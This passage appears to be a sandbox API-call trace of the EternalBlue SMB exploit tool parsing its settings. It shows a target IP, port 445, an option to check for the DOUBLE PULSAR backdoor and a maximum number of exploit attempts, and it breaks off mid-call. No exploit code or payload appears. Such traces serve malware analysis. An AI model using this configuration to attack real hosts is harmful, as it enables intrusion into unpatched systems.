(_Block=0xeadac8) [0096.084] strlen (_Str="LogFile") returned 0x7 [0096.084] calloc (_Count=0x8, _Size=0x1) returned 0xda1180 [0096.084] _mbscpy (in: param_1=0xda1180, param_2=0x10003244 | out: param_1=0xda1180) returned 0xda1180 [0096.084] strlen (_Str="Where to write log file") returned 0x17 [0096.084] calloc (_Count=0x18, _Size=0x1) returned 0xd96e58 [0096.084] _mbscpy (in: param_1=0xd96e58, param_2=0x100032a8 | out: param_1=0xd96e58) returned 0xd96e58 [0096.084] strlen (_Str="String") returned 0x6 [0096.084] calloc (_Count=0x7, _Size=0x1) returned 0xda1170 [0096.084] _mbscpy (in: param_1=0xda1170, param_2=0xc5c418 | out: param_1=0xda1170) returned 0xda1170 [0096.084] strlen (_Str="Scalar") returned 0x6 [0096.084] calloc (_Count=0x7, _Size=0x1) returned 0xda1160 [0096.084] _mbscpy (in: param_1=0xda1160, param_2=0xc5c3f8 | out: param_1=0xda1160) returned 0xda1160 [0096.084] strlen (_Str="urn:trch") returned 0x8 [0096.084] calloc (_Count=0x9, _Size=0x1) returned 0xead2e0 [0096.084] _mbscpy (in: param_1=0xead2e0, param_2=0xda2488 | out: param_1=0xead2e0) returned 0xead2e0 [0096.084] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.084] strlen (_Str="2.1.0") returned 0x5 [0096.084] calloc (_Count=0x6, _Size=0x1) returned 0xda1150 [0096.084] _mbscpy (in: param_1=0xda1150, param_2=0xda11e0 | out: param_1=0xda1150) returned 0xda1150 [0096.084] realloc (_Block=0xeafdd0, _Size=0x2c) returned 0xeafdd0 [0096.084] calloc (_Count=0x1, _Size=0x48) returned 0xd90d20 [0096.084] strlen (_Str="OutConfig") returned 0x9 [0096.084] calloc (_Count=0xa, _Size=0x1) returned 0xead328 [0096.084] _mbscpy (in: param_1=0xead328, param_2=0x10003238 | out: param_1=0xead328) returned 0xead328 [0096.084] strlen (_Str="Where to write output parameters file") returned 0x25 [0096.084] calloc (_Count=0x26, _Size=0x1) returned 0xd975e0 [0096.084] _mbscpy (in: param_1=0xd975e0, param_2=0x10003280 | out: param_1=0xd975e0) returned 0xd975e0 [0096.084] strlen (_Str="String") returned 0x6 [0096.084] calloc (_Count=0x7, _Size=0x1) returned 0xda10d0 [0096.084] _mbscpy (in: param_1=0xda10d0, param_2=0xc5c418 | out: param_1=0xda10d0) returned 0xda10d0 [0096.084] strlen (_Str="Scalar") returned 0x6 [0096.084] calloc (_Count=0x7, _Size=0x1) returned 0xda1100 [0096.084] _mbscpy (in: param_1=0xda1100, param_2=0xc5c3f8 | out: param_1=0xda1100) returned 0xda1100 [0096.084] strlen (_Str="urn:trch") returned 0x8 [0096.084] calloc (_Count=0x9, _Size=0x1) returned 0xead310 [0096.084] _mbscpy (in: param_1=0xead310, param_2=0xda2488 | out: param_1=0xead310) returned 0xead310 [0096.085] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.085] strlen (_Str="2.1.0") returned 0x5 [0096.085] calloc (_Count=0x6, _Size=0x1) returned 0xda1110 [0096.085] _mbscpy (in: param_1=0xda1110, param_2=0xda11e0 | out: param_1=0xda1110) returned 0xda1110 [0096.085] strlen (_Str="stdout") returned 0x6 [0096.085] calloc (_Count=0x7, _Size=0x1) returned 0xda10f0 [0096.085] _mbscpy (in: param_1=0xda10f0, param_2=0x330d8 | out: param_1=0xda10f0) returned 0xda10f0 [0096.085] strlen (_Str="stdout") returned 0x6 [0096.085] calloc (_Count=0x7, _Size=0x1) returned 0xda10e0 [0096.085] _mbscpy (in: param_1=0xda10e0, param_2=0x330d8 | out: param_1=0xda10e0) returned 0xda10e0 [0096.085] strlen (_Str="stdout") returned 0x6 [0096.085] free (_Block=0x0) [0096.085] realloc (_Block=0xeafdd0, _Size=0x30) returned 0xeafdd0 [0096.085] strlen (_Str="ValidateOnly") returned 0xc [0096.085] calloc (_Count=0xd, _Size=0x1) returned 0xead628 [0096.085] _mbscpy (in: param_1=0xead628, param_2=0x10003228 | out: param_1=0xead628) returned 0xead628 [0096.085] strlen (_Str="Stop execution after parameter validation") returned 0x29 [0096.085] calloc (_Count=0x2a, _Size=0x1) returned 0xda26f0 [0096.085] _mbscpy (in: param_1=0xda26f0, param_2=0x1000324c | out: param_1=0xda26f0) returned 0xda26f0 [0096.085] strlen (_Str="Boolean") returned 0x7 [0096.085] calloc (_Count=0x8, _Size=0x1) returned 0xda1140 [0096.085] _mbscpy (in: param_1=0xda1140, param_2=0xc5c148 | out: param_1=0xda1140) returned 0xda1140 [0096.085] strlen (_Str="Scalar") returned 0x6 [0096.085] calloc (_Count=0x7, _Size=0x1) returned 0xda1120 [0096.085] _mbscpy (in: param_1=0xda1120, param_2=0xc5c3f8 | out: param_1=0xda1120) returned 0xda1120 [0096.085] strlen (_Str="urn:trch") returned 0x8 [0096.085] calloc (_Count=0x9, _Size=0x1) returned 0xead658 [0096.085] _mbscpy (in: param_1=0xead658, param_2=0xda2488 | out: param_1=0xead658) returned 0xead658 [0096.085] strcmp (_Str1="urn:trch", _Str2="urn:trch") returned 0 [0096.085] strlen (_Str="2.1.0") returned 0x5 [0096.085] calloc (_Count=0x6, _Size=0x1) returned 0xda1130 [0096.085] _mbscpy (in: param_1=0xda1130, param_2=0xda11e0 | out: param_1=0xda1130) returned 0xda1130 [0096.086] strlen (_Str="false") returned 0x5 [0096.086] calloc (_Count=0x6, _Size=0x1) returned 0xda1050 [0096.086] _mbscpy (in: param_1=0xda1050, param_2=0x10003278 | out: param_1=0xda1050) returned 0xda1050 [0096.086] strcmp (_Str1="false", _Str2="0") returned 1 [0096.086] realloc (_Block=0xeafdd0, _Size=0x34) returned 0xeafdd0 [0096.086] strcmp (_Str1="--TargetIp", _Str2="--") returned 1 [0096.086] strlen (_Str="--TargetIp") returned 0xa [0096.086] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0096.086] strlen (_Str="--TargetIp") returned 0xa [0096.086] strcmp (_Str1="192.168.0.171", _Str2="--") returned 1 [0096.086] strlen (_Str="192.168.0.171") returned 0xd [0096.086] strncmp (_Str1="19", _Str2="--", _MaxCount=0x2) returned 4 [0096.086] strcmp (_Str1="--TargetIp", _Str2="--") returned 1 [0096.086] strlen (_Str="--TargetIp") returned 0xa [0096.086] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0 [0096.086] strcmp (_Str1="--TargetIp", _Str2="-?") returned -1 [0096.086] strlen (_Str="--TargetIp") returned 0xa [0096.086] strlen (_Str="192.168.0.171") returned 0xd [0096.086] calloc (_Count=0xe, _Size=0x1) returned 0xead688 [0096.086] _mbscpy (in: param_1=0xead688, param_2=0xea284c | out: param_1=0xead688) returned 0xead688 [0096.086] strlen (_Str="192.168.0.171") returned 0xd [0096.086] free (_Block=0x0) [0096.086] strlen (_Str="stdout") returned 0x6 [0096.086] calloc (_Count=0x7, _Size=0x1) returned 0xda1080 [0096.086] strcmp (_Str1="stdout", _Str2="stdout") returned 0 [0096.086] _fileno (_File=0x76be2920) returned 1 [0096.086] malloc (_Size=0x10) returned 0xead6a0 [0096.086] strlen (_Str="WIN72K8R2") returned 0x9 [0096.086] strlen (_Str="192.168.0.171") returned 0xd [0096.086] malloc (_Size=0xc73) returned 0xeadac8 [0096.086] strlen (_Str="WIN72K8R2") returned 0x9 [0096.087] strlen (_Str="192.168.0.171") returned 0xd [0096.087] malloc (_Size=0x94) returned 0xd96928 [0096.087] malloc (_Size=0x14) returned 0xd96df8 [0096.087] malloc (_Size=0x500) returned 0xeae748 [0096.087] malloc (_Size=0x14) returned 0xd96e18 [0096.087] malloc (_Size=0x500) returned 0xeaec50 [0096.087] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x60 [0096.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf71b1f, lpParameter=0xd96978, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c [0096.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf71b1f, lpParameter=0xd96970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64 [0096.088] WaitForMultipleObjects (nCount=0x3, lpHandles=0xadf958*=0x60, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x2 [0117.301] WaitForSingleObject (hHandle=0x60, dwMilliseconds=0x2710) returned 0x0 [0117.304] strcmp (_Str1="UTF-8", _Str2="UTF-8") returned 0 [0117.304] malloc (_Size=0x6) returned 0xda1090 [0117.304] GetCurrentThreadId () returned 0x1090 [0117.304] GetCurrentThreadId () returned 0x1090 [0117.304] GetCurrentThreadId () returned 0x1090 [0117.304] GetCurrentThreadId () returned 0x1090 [0117.304] GetCurrentThreadId () returned 0x1090 [0117.304] GetCurrentThreadId () returned 0x1090 [0117.304] GetCurrentThreadId () returned 0x1090 [0117.304] GetCurrentThreadId () returned 0x1090 [0117.304] GetCurrentThreadId () returned 0x1090 [0117.304] GetCurrentThreadId () returned 0x1090 [0117.304] GetCurrentThreadId () returned 0x1090 [0117.304] GetCurrentThreadId () returned 0x1090 [0117.304] GetCurrentThreadId () returned 0x1090 [0117.304] GetCurrentThreadId () returned 0x1090 [0117.304] GetCurrentThreadId () returned 0x1090 [0117.304] GetCurrentThreadId () returned 0x1090 [0117.304] GetCurrentThreadId () returned 0x1090 [0117.304] GetCurrentThreadId () returned 0x1090 [0117.305] GetCurrentThreadId () returned 0x1090 [0117.305] GetCurrentThreadId () returned 0x1090 [0117.305] GetCurrentThreadId () returned 0x1090 [0117.305] GetCurrentThreadId () returned 0x1090 [0117.305] GetCurrentThreadId () returned 0x1090 [0117.305] GetCurrentThreadId () returned 0x1090 [0117.305] GetCurrentThreadId () returned 0x1090 [0117.305] GetCurrentThreadId () returned 0x1090 [0117.305] GetCurrentThreadId () returned 0x1090 [0117.305] GetCurrentThreadId () returned 0x1090 [0117.305] GetCurrentThreadId () returned 0x1090 [0117.305] GetCurrentThreadId () returned 0x1090 [0117.305] GetCurrentThreadId () returned 0x1090 [0117.305] GetCurrentThreadId () returned 0x1090 [0117.305] GetCurrentThreadId () returned 0x1090 [0117.305] strcmp (_Str1="UTF-8", _Str2="UTF-8") returned 0 [0117.305] malloc (_Size=0x20) returned 0xd97628 [0117.305] malloc (_Size=0x14) returned 0xd96f98 [0117.305] GetCurrentThreadId () returned 0x1090 [0117.305] GetCurrentThreadId () returned 0x1090 [0117.305] malloc (_Size=0x1000) returned 0xd90e60 [0117.305] malloc (_Size=0x14) returned 0xd96fb8 [0117.305] GetCurrentThreadId () returned 0x1090 [0117.305] malloc (_Size=0xfa2) returned 0xd91e68 [0117.306] malloc (_Size=0x60) returned 0xd96880 [0117.306] malloc (_Size=0x4) returned 0xda1070 [0117.306] strlen (_Str="urn:trch") returned 0x8 [0117.306] calloc (_Count=0x9, _Size=0x1) returned 0xead5c8 [0117.306] _mbscpy (in: param_1=0xead5c8, param_2=0xda2488 | out: param_1=0xead5c8) returned 0xead5c8 [0117.306] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0117.306] malloc (_Size=0x3c) returned 0xda2148 [0117.306] malloc (_Size=0x7) returned 0xda1060 [0117.306] strlen (_Str="0f38f55b6a88feccfb846d3d10ab4687e652e63e") returned 0x28 [0117.306] calloc (_Count=0x29, _Size=0x1) returned 0xda2760 [0117.306] _mbscpy (in: param_1=0xda2760, param_2=0xda2728 | out: param_1=0xda2760) returned 0xda2760 [0117.306] malloc (_Size=0x30) returned 0xda2798 [0117.306] malloc (_Size=0x3) returned 0xda10c0 [0117.306] malloc (_Size=0x3c) returned 0xda2100 [0117.306] malloc (_Size=0x29) returned 0xda27d0 [0117.306] strlen (_Str="2.2.0.0") returned 0x7 [0117.306] calloc (_Count=0x8, _Size=0x1) returned 0xda10a0 [0117.306] _mbscpy (in: param_1=0xda10a0, param_2=0xda11c0 | out: param_1=0xda10a0) returned 0xda10a0 [0117.306] malloc (_Size=0x30) returned 0xda2808 [0117.306] malloc (_Size=0xe) returned 0xead670 [0117.306] malloc (_Size=0x3c) returned 0xda20b8 [0117.306] malloc (_Size=0x8) returned 0xda10b0 [0117.306] strlen (_Str="Eternalblue") returned 0xb [0117.306] calloc (_Count=0xc, _Size=0x1) returned 0xead610 [0117.306] _mbscpy (in: param_1=0xead610, param_2=0xead2f8 | out: param_1=0xead610) returned 0xead610 [0117.307] malloc (_Size=0x30) returned 0xda2840 [0117.307] malloc (_Size=0x5) returned 0xda11b0 [0117.307] malloc (_Size=0x3c) returned 0xda2070 [0117.307] malloc (_Size=0xc) returned 0xead598 [0117.307] strlen (_Str="2.2.0") returned 0x5 [0117.307] calloc (_Count=0x6, _Size=0x1) returned 0xda0f30 [0117.307] _mbscpy (in: param_1=0xda0f30, param_2=0xda11d0 | out: param_1=0xda0f30) returned 0xda0f30 [0117.307] malloc (_Size=0x30) returned 0xda2878 [0117.307] malloc (_Size=0x8) returned 0xda1250 [0117.307] malloc (_Size=0x3c) returned 0xda1da0 [0117.307] malloc (_Size=0x6) returned 0xda0f40 [0117.307] strlen (_Str="2.1.0") returned 0x5 [0117.307] calloc (_Count=0x6, _Size=0x1) returned 0xda0ef0 [0117.307] _mbscpy (in: param_1=0xda0ef0, param_2=0xda11e0 | out: param_1=0xda0ef0) returned 0xda0ef0 [0117.307] malloc (_Size=0x30) returned 0xda28b0 [0117.307] malloc (_Size=0xe) returned 0xead3e8 [0117.307] malloc (_Size=0x3c) returned 0xda1ec0 [0117.307] malloc (_Size=0x6) returned 0xda0f20 [0117.307] strlen (_Str="inputparameters") returned 0xf [0117.307] calloc (_Count=0x10, _Size=0x1) returned 0xead448 [0117.307] _mbscpy (in: param_1=0xead448, param_2=0xead340 | out: param_1=0xead448) returned 0xead448 [0117.307] malloc (_Size=0x3c) returned 0xda1e78 [0117.307] malloc (_Size=0x10) returned 0xead460 [0117.307] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0117.307] malloc (_Size=0x3c) returned 0xda1e30 [0117.307] malloc (_Size=0xa) returned 0xead430 [0117.307] strlen (_Str="DaveProxyPort") returned 0xd [0117.307] calloc (_Count=0xe, _Size=0x1) returned 0xead5e0 [0117.308] _mbscpy (in: param_1=0xead5e0, param_2=0xda24d0 | out: param_1=0xead5e0) returned 0xead5e0 [0117.308] malloc (_Size=0x30) returned 0xda28e8 [0117.308] malloc (_Size=0x5) returned 0xda0f00 [0117.308] malloc (_Size=0x3c) returned 0xda1de8 [0117.308] malloc (_Size=0xe) returned 0xead4a8 [0117.308] strlen (_Str="DAVE Core/Proxy Hookup connection port") returned 0x26 [0117.308] calloc (_Count=0x27, _Size=0x1) returned 0xeafc60 [0117.308] _mbscpy (in: param_1=0xeafc60, param_2=0xea2978 | out: param_1=0xeafc60) returned 0xeafc60 [0117.308] malloc (_Size=0x30) returned 0xda2920 [0117.308] malloc (_Size=0xc) returned 0xead4c0 [0117.308] malloc (_Size=0x3c) returned 0xda2028 [0117.308] malloc (_Size=0x27) returned 0xd94a30 [0117.308] strlen (_Str="TcpPort") returned 0x7 [0117.308] calloc (_Count=0x8, _Size=0x1) returned 0xda0fb0 [0117.308] _mbscpy (in: param_1=0xda0fb0, param_2=0xda1210 | out: param_1=0xda0fb0) returned 0xda0fb0 [0117.308] malloc (_Size=0x30) returned 0xda2958 [0117.308] malloc (_Size=0x5) returned 0xda0f10 [0117.308] malloc (_Size=0x3c) returned 0xda1f50 [0117.308] malloc (_Size=0x8) returned 0xda0fc0 [0117.308] strlen (_Str="Scalar") returned 0x6 [0117.308] calloc (_Count=0x7, _Size=0x1) returned 0xda0f60 [0117.308] _mbscpy (in: param_1=0xda0f60, param_2=0xda1220 | out: param_1=0xda0f60) returned 0xda0f60 [0117.308] malloc (_Size=0x30) returned 0xda2990 [0117.308] malloc (_Size=0x7) returned 0xda0fa0 [0117.308] malloc (_Size=0x3c) returned 0xda1fe0 [0117.308] malloc (_Size=0x7) returned 0xda0f90 [0117.308] malloc (_Size=0x30) returned 0xda29c8 [0117.308] malloc (_Size=0x7) returned 0xda0f80 [0117.308] malloc (_Size=0x3c) returned 0xda1f98 [0117.309] malloc (_Size=0x5) returned 0xda0f70 [0117.309] strlen (_Str="0") returned 0x1 [0117.309] calloc (_Count=0x2, _Size=0x1) returned 0xda1030 [0117.309] malloc (_Size=0x3c) returned 0xda1f08 [0117.309] malloc (_Size=0x8) returned 0xda1020 [0117.309] malloc (_Size=0x3c) returned 0xda1d58 [0117.309] malloc (_Size=0x2) returned 0xda0f50 [0117.309] sprintf (in: _Dest=0xead478, _Format="%u" | out: _Dest="0") returned 1 [0117.309] malloc (_Size=0x30) returned 0xda2a00 [0117.309] malloc (_Size=0x6) returned 0xda0fe0 [0117.309] malloc (_Size=0x3c) returned 0xda1a88 [0117.309] malloc (_Size=0x5) returned 0xda0ff0 [0117.309] strlen (_Str="0") returned 0x1 [0117.309] calloc (_Count=0x2, _Size=0x1) returned 0xda1040 [0117.309] malloc (_Size=0x3c) returned 0xda1ba8 [0117.309] malloc (_Size=0x6) returned 0xda0fd0 [0117.309] malloc (_Size=0x3c) returned 0xda1b60 [0117.309] malloc (_Size=0x2) returned 0xda1000 [0117.309] free (_Block=0xda1040) [0117.309] free (_Block=0xda1030) [0117.309] free (_Block=0xeafc60) [0117.309] free (_Block=0xda0f60) [0117.309] free (_Block=0xead5e0) [0117.309] free (_Block=0xda0fb0) [0117.309] free (_Block=0xead478) [0117.309] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0117.309] malloc (_Size=0x3c) returned 0xda1b18 [0117.310] malloc (_Size=0xa) returned 0xead478 [0117.310] strlen (_Str="NetworkTimeout") returned 0xe [0117.310] calloc (_Count=0xf, _Size=0x1) returned 0xead5e0 [0117.310] _mbscpy (in: param_1=0xead5e0, param_2=0xda2518 | out: param_1=0xead5e0) returned 0xead5e0 [0117.310] malloc (_Size=0x30) returned 0xda2a38 [0117.310] malloc (_Size=0x5) returned 0xda0fb0 [0117.310] malloc (_Size=0x3c) returned 0xda1ad0 [0117.310] malloc (_Size=0xf) returned 0xead4f0 [0117.310] strlen (_Str="Timeout for blocking network calls (in seconds). Use -1 for no timeout.") returned 0x47 [0117.310] calloc (_Count=0x48, _Size=0x1) returned 0xda0e80 [0117.310] _mbscpy (in: param_1=0xda0e80, param_2=0xeafc90 | out: param_1=0xda0e80) returned 0xda0e80 [0117.310] malloc (_Size=0x30) returned 0xda2a70 [0117.310] malloc (_Size=0xc) returned 0xead508 [0117.310] malloc (_Size=0x3c) returned 0xda1d10 [0117.310] malloc (_Size=0x48) returned 0xd95468 [0117.310] strlen (_Str="S16") returned 0x3 [0117.310] calloc (_Count=0x4, _Size=0x1) returned 0xda0f60 [0117.310] _mbscpy (in: param_1=0xda0f60, param_2=0xda1200 | out: param_1=0xda0f60) returned 0xda0f60 [0117.310] malloc (_Size=0x30) returned 0xda2aa8 [0117.310] malloc (_Size=0x5) returned 0xda1030 [0117.310] malloc (_Size=0x3c) returned 0xda1c38 [0117.310] malloc (_Size=0x4) returned 0xda1040 [0117.310] strlen (_Str="Scalar") returned 0x6 [0117.310] calloc (_Count=0x7, _Size=0x1) returned 0xda1010 [0117.310] _mbscpy (in: param_1=0xda1010, param_2=0xda1260 | out: param_1=0xda1010) returned 0xda1010 [0117.310] malloc (_Size=0x30) returned 0xda2ae0 [0117.310] malloc (_Size=0x7) returned 0xd90430 [0117.310] strlen (_Str="60") returned 0x2 [0117.310] calloc (_Count=0x3, _Size=0x1) returned 0xd90400 [0117.310] malloc (_Size=0x3c) returned 0xda1c80 [0117.311] malloc (_Size=0x8) returned 0xd903f0 [0117.311] sprintf (in: _Dest=0xead4d8, _Format="%d" | out: _Dest="60") returned 2 [0117.311] malloc (_Size=0x30) returned 0xda2b18 [0117.311] malloc (_Size=0x6) returned 0xd903d0 [0117.311] strlen (_Str="60") returned 0x2 [0117.311] calloc (_Count=0x3, _Size=0x1) returned 0xd903e0 [0117.311] malloc (_Size=0x3c) returned 0xda1770 [0117.311] malloc (_Size=0x6) returned 0xd90370 [0117.311] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0117.311] malloc (_Size=0x3c) returned 0xda1848 [0117.311] malloc (_Size=0xa) returned 0xead4d8 [0117.311] strlen (_Str="TargetIp") returned 0x8 [0117.311] calloc (_Count=0x9, _Size=0x1) returned 0xead5e0 [0117.311] _mbscpy (in: param_1=0xead5e0, param_2=0xda2578 | out: param_1=0xead5e0) returned 0xead5e0 [0117.311] malloc (_Size=0x30) returned 0xda2b50 [0117.311] malloc (_Size=0x5) returned 0xda0f60 [0117.311] strlen (_Str="Target IP Address") returned 0x11 [0117.311] calloc (_Count=0x12, _Size=0x1) returned 0xd96f58 [0117.311] _mbscpy (in: param_1=0xd96f58, param_2=0xd96e38 | out: param_1=0xd96f58) returned 0xd96f58 [0117.311] malloc (_Size=0x30) returned 0xda2b88 [0117.311] malloc (_Size=0xc) returned 0xead550 [0117.311] strlen (_Str="IPv4") returned 0x4 [0117.311] calloc (_Count=0x5, _Size=0x1) returned 0xda1010 [0117.311] _mbscpy (in: param_1=0xda1010, param_2=0xda1190 | out: param_1=0xda1010) returned 0xda1010 [0117.311] malloc (_Size=0x30) returned 0xda2bc0 [0117.311] malloc (_Size=0x5) returned 0xd90400 [0117.311] strlen (_Str="Scalar") returned 0x6 [0117.311] calloc (_Count=0x7, _Size=0x1) returned 0xd90380 [0117.311] _mbscpy (in: param_1=0xd90380, param_2=0xda1290 | out: param_1=0xd90380) returned 0xd90380 [0117.311] malloc (_Size=0x30) returned 0xda2bf8 [0117.311] malloc (_Size=0x7) returned 0xd90340 [0117.312] strlen (_Str="192.168.0.171") returned 0xd [0117.312] calloc (_Count=0xe, _Size=0x1) returned 0xead520 [0117.312] malloc (_Size=0x30) returned 0xda2c30 [0117.312] malloc (_Size=0x6) returned 0xd90350 [0117.312] strlen (_Str="192.168.0.171") returned 0xd [0117.312] calloc (_Count=0xe, _Size=0x1) returned 0xead580 [0117.312] malloc (_Size=0x3c) returned 0xda1968 [0117.312] malloc (_Size=0x6) returned 0xd90300 [0117.312] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0117.312] malloc (_Size=0x3c) returned 0xda1728 [0117.312] malloc (_Size=0xa) returned 0xead520 [0117.312] strlen (_Str="TargetPort") returned 0xa [0117.312] calloc (_Count=0xb, _Size=0x1) returned 0xead5e0 [0117.312] _mbscpy (in: param_1=0xead5e0, param_2=0xda25c0 | out: param_1=0xead5e0) returned 0xead5e0 [0117.312] malloc (_Size=0x30) returned 0xda2c68 [0117.312] malloc (_Size=0x5) returned 0xda1010 [0117.312] strlen (_Str="Port used by the SMB service for exploit connection") returned 0x33 [0117.312] calloc (_Count=0x34, _Size=0x1) returned 0xda0e80 [0117.312] _mbscpy (in: param_1=0xda0e80, param_2=0xea2938 | out: param_1=0xda0e80) returned 0xda0e80 [0117.312] malloc (_Size=0x30) returned 0xda2ca0 [0117.312] malloc (_Size=0xc) returned 0xead5b0 [0117.312] strlen (_Str="TcpPort") returned 0x7 [0117.312] calloc (_Count=0x8, _Size=0x1) returned 0xd90380 [0117.312] _mbscpy (in: param_1=0xd90380, param_2=0xda12b0 | out: param_1=0xd90380) returned 0xd90380 [0117.312] malloc (_Size=0x30) returned 0xda2cd8 [0117.312] malloc (_Size=0x5) returned 0xd90320 [0117.312] strlen (_Str="Scalar") returned 0x6 [0117.312] calloc (_Count=0x7, _Size=0x1) returned 0xd902d0 [0117.312] _mbscpy (in: param_1=0xd902d0, param_2=0xda12c0 | out: param_1=0xd902d0) returned 0xd902d0 [0117.312] malloc (_Size=0x30) returned 0xda2d10 [0117.312] malloc (_Size=0x7) returned 0xd902f0 [0117.312] strlen (_Str="445") returned 0x3 [0117.312] calloc (_Count=0x4, _Size=0x1) returned 0xd902a0 [0117.313] malloc (_Size=0x3c) returned 0xda14a0 [0117.313] malloc (_Size=0x8) returned 0xd902c0 [0117.313] sprintf (in: _Dest=0xead5f8, _Format="%u" | out: _Dest="445") returned 3 [0117.313] malloc (_Size=0x30) returned 0xda2d48 [0117.313] malloc (_Size=0x6) returned 0xd90390 [0117.313] strlen (_Str="445") returned 0x3 [0117.313] calloc (_Count=0x4, _Size=0x1) returned 0xd96498 [0117.313] malloc (_Size=0x3c) returned 0xda1698 [0117.313] malloc (_Size=0x6) returned 0xd964a8 [0117.313] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0117.313] malloc (_Size=0x3c) returned 0xda15c0 [0117.313] malloc (_Size=0xa) returned 0xead5f8 [0117.313] strlen (_Str="VerifyTarget") returned 0xc [0117.313] calloc (_Count=0xd, _Size=0x1) returned 0xead5e0 [0117.313] _mbscpy (in: param_1=0xead5e0, param_2=0xda24b8 | out: param_1=0xead5e0) returned 0xead5e0 [0117.313] malloc (_Size=0x30) returned 0xda2d80 [0117.313] malloc (_Size=0x5) returned 0xd90380 [0117.313] strlen (_Str="Validate the SMB string from target against the target selected before exploitation.") returned 0x54 [0117.313] calloc (_Count=0x55, _Size=0x1) returned 0xe82e50 [0117.313] _mbscpy (in: param_1=0xe82e50, param_2=0xeaf988 | out: param_1=0xe82e50) returned 0xe82e50 [0117.313] malloc (_Size=0x30) returned 0xda2db8 [0117.313] malloc (_Size=0xc) returned 0xead418 [0117.313] strlen (_Str="Boolean") returned 0x7 [0117.313] calloc (_Count=0x8, _Size=0x1) returned 0xd902d0 [0117.313] _mbscpy (in: param_1=0xd902d0, param_2=0xd90080 | out: param_1=0xd902d0) returned 0xd902d0 [0117.313] malloc (_Size=0x30) returned 0xda2df0 [0117.313] malloc (_Size=0x5) returned 0xd902a0 [0117.313] strlen (_Str="Scalar") returned 0x6 [0117.313] calloc (_Count=0x7, _Size=0x1) returned 0xd964c8 [0117.313] _mbscpy (in: param_1=0xd964c8, param_2=0xd90090 | out: param_1=0xd964c8) returned 0xd964c8 [0117.313] malloc (_Size=0x30) returned 0xda2e28 [0117.313] malloc (_Size=0x7) returned 0xd964d8 [0117.314] strlen (_Str="true") returned 0x4 [0117.314] calloc (_Count=0x5, _Size=0x1) returned 0xd964f8 [0117.314] malloc (_Size=0x3c) returned 0xda1338 [0117.314] malloc (_Size=0x8) returned 0xd96508 [0117.314] strlen (_Str="true") returned 0x4 [0117.314] calloc (_Count=0x5, _Size=0x1) returned 0xd96528 [0117.314] _mbscpy (in: param_1=0xd96528, param_2=0xc5c158 | out: param_1=0xd96528) returned 0xd96528 [0117.314] malloc (_Size=0x30) returned 0xda2e60 [0117.314] malloc (_Size=0x6) returned 0xd96538 [0117.314] strlen (_Str="true") returned 0x4 [0117.314] calloc (_Count=0x5, _Size=0x1) returned 0xd96558 [0117.314] malloc (_Size=0x3c) returned 0xd93870 [0117.314] malloc (_Size=0x6) returned 0xd96568 [0117.314] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0117.314] malloc (_Size=0x3c) returned 0xd93900 [0117.314] malloc (_Size=0xa) returned 0xead5e0 [0117.314] strlen (_Str="VerifyBackdoor") returned 0xe [0117.314] calloc (_Count=0xf, _Size=0x1) returned 0xead400 [0117.314] _mbscpy (in: param_1=0xead400, param_2=0xda2638 | out: param_1=0xead400) returned 0xead400 [0117.314] malloc (_Size=0x30) returned 0xda2e98 [0117.314] malloc (_Size=0x5) returned 0xd96528 [0117.314] strlen (_Str="Validate the presence of the DOUBLE PULSAR backdoor before throwing. This option must be enabled for multiple exploit attempts.") returned 0x7f [0117.314] calloc (_Count=0x80, _Size=0x1) returned 0xd97f28 [0117.314] _mbscpy (in: param_1=0xd97f28, param_2=0xeafa70 | out: param_1=0xd97f28) returned 0xd97f28 [0117.314] malloc (_Size=0x30) returned 0xd969f8 [0117.314] malloc (_Size=0xc) returned 0xead3d0 [0117.314] strlen (_Str="Boolean") returned 0x7 [0117.314] calloc (_Count=0x8, _Size=0x1) returned 0xd964c8 [0117.314] _mbscpy (in: param_1=0xd964c8, param_2=0xd900c0 | out: param_1=0xd964c8) returned 0xd964c8 [0117.314] malloc (_Size=0x30) returned 0xd96a30 [0117.314] malloc (_Size=0x5) returned 0xd964f8 [0117.314] strlen (_Str="Scalar") returned 0x6 [0117.314] calloc (_Count=0x7, _Size=0x1) returned 0xd96588 [0117.315] _mbscpy (in: param_1=0xd96588, param_2=0xd900d0 | out: param_1=0xd96588) returned 0xd96588 [0117.315] malloc (_Size=0x30) returned 0xd96a68 [0117.315] malloc (_Size=0x7) returned 0xd96598 [0117.315] strlen (_Str="true") returned 0x4 [0117.315] calloc (_Count=0x5, _Size=0x1) returned 0xd965b8 [0117.315] malloc (_Size=0x3c) returned 0xd93a68 [0117.315] malloc (_Size=0x8) returned 0xd965c8 [0117.315] strlen (_Str="true") returned 0x4 [0117.315] calloc (_Count=0x5, _Size=0x1) returned 0xd965e8 [0117.315] _mbscpy (in: param_1=0xd965e8, param_2=0xc5c158 | out: param_1=0xd965e8) returned 0xd965e8 [0117.315] malloc (_Size=0x30) returned 0xd96aa0 [0117.315] malloc (_Size=0x6) returned 0xd965f8 [0117.315] strlen (_Str="true") returned 0x4 [0117.315] calloc (_Count=0x5, _Size=0x1) returned 0xd96618 [0117.315] malloc (_Size=0x3c) returned 0xd93b40 [0117.315] malloc (_Size=0x6) returned 0xd96628 [0117.315] strcmp (_Str1="tc0", _Str2="urn:trch") returned -1 [0117.315] malloc (_Size=0x3c) returned 0xd93bd0 [0117.315] malloc (_Size=0xa) returned 0xead400 [0117.315] strlen (_Str="MaxExploitAttempts") returned 0x12 [0117.315] calloc (_Count=0x13, _Size=0x1) returned 0xd96f58 [0117.315] _mbscpy (in: param_1=0xd96f58, 